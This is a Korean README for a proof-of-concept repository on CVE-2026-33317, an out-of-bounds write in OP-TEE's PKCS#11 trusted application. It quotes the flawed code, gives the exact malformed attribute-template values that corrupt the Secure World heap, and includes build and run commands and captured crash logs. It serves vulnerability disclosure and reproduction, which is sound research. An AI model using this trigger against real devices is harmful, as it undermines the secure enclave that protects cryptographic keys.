
CVE-2026-33317에 대한 개념 증명(PoC)으로, OP-TEE PKCS#11 TA의 경계를 벗어난 쓰기(out-of-bounds write) 취약점을 악용하여 잘못된 형식의 속성 템플릿을 통해 Secure World 힙 손상을 입증합니다.
이 저장소에는 CVE-2026-33317 / GHSA-8cqw-mg7v-c9p9에 대한 Normal World 개념 증명(PoC), 재현 메모, 캡처된 로그가 포함되어 있습니다.
공식 OP-TEE 권고는 PKCS11_CMD_GET_ATTRIBUTE_VALUE에 대한 entry_get_attribute_value()에서 누락된 검증을 설명합니다. 이 버그는 PKCS#11 TA 힙에서 경계를 벗어난 읽기를 유발할 수 있으며, 잘못된 형식의 속성 템플릿을 사용하면 임시 템플릿 버퍼를 넘어 쓰기가 발생할 수 있습니다. 이 PoC는 경계를 벗어난 쓰기 사례를 대상으로 하며 PKCS#11 TA에서 Secure World 힙 손상을 입증합니다.
CVE-2026-33317>= 3.13.04.11 이상8.7 높음(High)CWE-125, CWE-787OP-TEE를 테스트할 권한이 있는 로컬 랩 또는 기타 환경에서만 사용하십시오.
이 README가 작성된 로컬 작업 복사본은 평면화된 OP-TEE QEMUv8 작업 공간이었습니다. .repo 디렉터리와 모든 .git 메타데이터 파일/디렉터리가 제거되어, 해당 로컬 아카이브는 더 이상 repo sync 또는 일반적인 git 히스토리 명령과 함께 사용할 수 없습니다.
GitHub 저장소는 용량이 큰 OP-TEE/QEMU 소스 트리, 툴체인, 빌드 출력물을 의도적으로 제외합니다. 자동화된 QEMU 재현을 새 클론에서 실행하기 전에 qemu-v8-setup.md에서 해당 항목을 재생성하거나, PoC 파일을 기존 OP-TEE qemu_v8 빌드 루트에 복사하십시오.
중요한 최상위 파일:
준비된 로컬 아카이브에는 optee_os, optee_client, qemu, linux, trusted-firmware-a, u-boot, buildroot, out-br, toolchains과 같은 소스/빌드 디렉터리도 있었습니다. 이러한 항목은 게시에서 제외됩니다.
취약한 optee_os 트리에서 ta/pkcs11/src/object.c는 클라이언트가 제공한 직렬화된 속성 템플릿을 반복합니다:
cur = (char *)template + sizeof(struct pkcs11_object_head);
end = cur + template->attrs_size;
...
data_ptr = cli_head.size ? cli_ref->data : NULL;
rc = get_attribute(obj->attributes, cli_head.id, data_ptr, &cli_head.size);
루프는 각 속성 헤더와 해당 데이터 영역이 할당된 템플릿 내부에 완전히 포함되어 있는지 증명하지 않습니다. PoC는 다음을 전송합니다:
attrs_size = 8, 정확히 하나의 pkcs11_attribute_head와 데이터 바이트 없음.attrs_count = 1.cli_head.id = CKA_LABEL.cli_head.size = 16, 생성된 객체의 16바이트 라벨과 일치.이로 인해 16바이트 템플릿 할당이 생성됩니다:
sizeof(pkcs11_object_head) + attrs_size = 8 + 8 = 16
그런 다음 cli_ref->data는 template + 16을 가리키며, 할당 끝에서 정확히 1바이트를 벗어납니다. ta/pkcs11/src/attributes.c의 get_attribute()는 호출자가 제공한 크기가 충분히 크다고 판단하고 16바이트 라벨을 해당 경계를 벗어난 포인터에 복사하여 PKCS#11 TA 힙을 손상시킵니다.
준비된 QEMUv8 작업 공간에서 사용된 사전 요구 사항:
expectqemu-v8-setup.md에 설명된 로컬 아카이브와 같이 배치된 빌드 출력물, 툴체인, QEMU 바이너리가 있는 OP-TEE qemu_v8 작업 공간PoC 빌드:
./build_poc.sh
예상 빌드 결과:
Built: out/bin/c01_poc
자동화된 QEMUv8 재현 실행:
./run_c01.sh
래퍼는 부팅 전에 다음 준비된 파일을 확인합니다:
out/bin/bl1.binout/bin/Imageout/bin/rootfs.cpio.gzout/bin/c01_poc빌드 산출물이 없는 경우 먼저 OP-TEE 작업 공간을 재생성/빌드한 다음 ./build_poc.sh를 다시 실행하십시오.
Normal World 로그에는 조작된 요청이 표시되어야 합니다:
[+] TEEC session with PKCS#11 TA opened
[+] INIT_TOKEN rc=0x00000000 OK
[+] OPEN_SESSION rc=0x00000000, session_handle=0x00000001
[+] CREATE_OBJECT rc=0x00000000, obj_handle=0x00000001
[+] Object has CKA_LABEL = "AAAAAAAAAAAAAAAA" (16 bytes)
[+] Sending malicious C_GetAttributeValue (attrs_size=8, cli_head.size=16)...
[+] GET_ATTRIBUTE_VALUE[0] rc=0xffffffff
Secure World 로그에는 할당자 어서션과 TA 패닉이 포함되어야 합니다:
E/TA: assertion 'BH((char *) b - b->bh.bsize)->prevfree == 0' failed at lib/libutils/isoc/bget.c:1022 in brel()
E/TC:? 0 TA panicked with code 0xffff0000
E/LD: Status of TA fd02c9da-306c-48c7-a49c-bbd827ae86ee
성공적인 실행에서 캡처된 로그는 이미 다음 위치에 있습니다:
out/bin/c01_nw.logout/bin/c01_sw.logc01_poc.c는 libteec를 통해 PKCS#11 TA UUID fd02c9da-306c-48c7-a49c-bbd827ae86ee를 호출합니다:
CKA_LABEL = "AAAAAAAAAAAAAAAA"로 AES 세션 객체를 생성합니다.attrs_size = 8 및 cli_head.size = 16으로 잘못된 형식의 CMD_GET_ATTRIBUTE_VALUE 요청을 전송합니다.첫 번째 악의적인 요청만으로도 힙 메타데이터를 손상시키기에 충분합니다. 그런 다음 OP-TEE bget 할당자가 손상된 블록 메타데이터를 감지하면 TA가 패닉합니다.
run_c01.sh는 virtio-9p를 통해 out/bin을 게스트와 공유하고 로그를 동일한 디렉터리에 다시 씁니다.out/bin의 준비된 부팅 아티팩트 링크는 해당 아카이브 내부의 아티팩트를 가리켜야 합니다. 게시된 GitHub 저장소는 캡처된 out/bin/c01_*.log 파일만 추적합니다.C-01-reproduction.md는 이전 x86 ASAN 하네스 접근 방식을 문서화합니다. 이 폴더의 실행 가능한 PoC는 QEMUv8 TEEC PoC인 c01_poc.c입니다.| 경로 | 용도 |
|---|
c01_poc.c | 원시 libteec 호출을 사용하는 AArch64 Normal World PoC |
build_poc.sh | c01_poc.c를 out/bin/c01_poc으로 크로스 컴파일 |
run_c01.sh | QEMUv8을 부팅하고 expect를 통해 PoC 실행 |
c01_check.exp | 게스트 로그인, virtio-9p 마운트, PoC 실행 자동화 |
out/bin/c01_nw.log | 캡처된 Normal World 재현 로그 |
out/bin/c01_sw.log | PKCS#11 TA 패닉이 포함된 캡처된 Secure World 로그 |
reproduction-log.md | 전체 QEMUv8 재현 메모 |
qemu-v8-setup.md | OP-TEE QEMUv8 설정 및 기준 검증 메모 |
C-01-reproduction.md | 이전 ASAN 하네스 메모; 이 폴더의 주요 실행 가능 PoC가 아님 |
AGENTS.md | 향후 AI/코드 에이전트를 위한 유지 관리 메모 |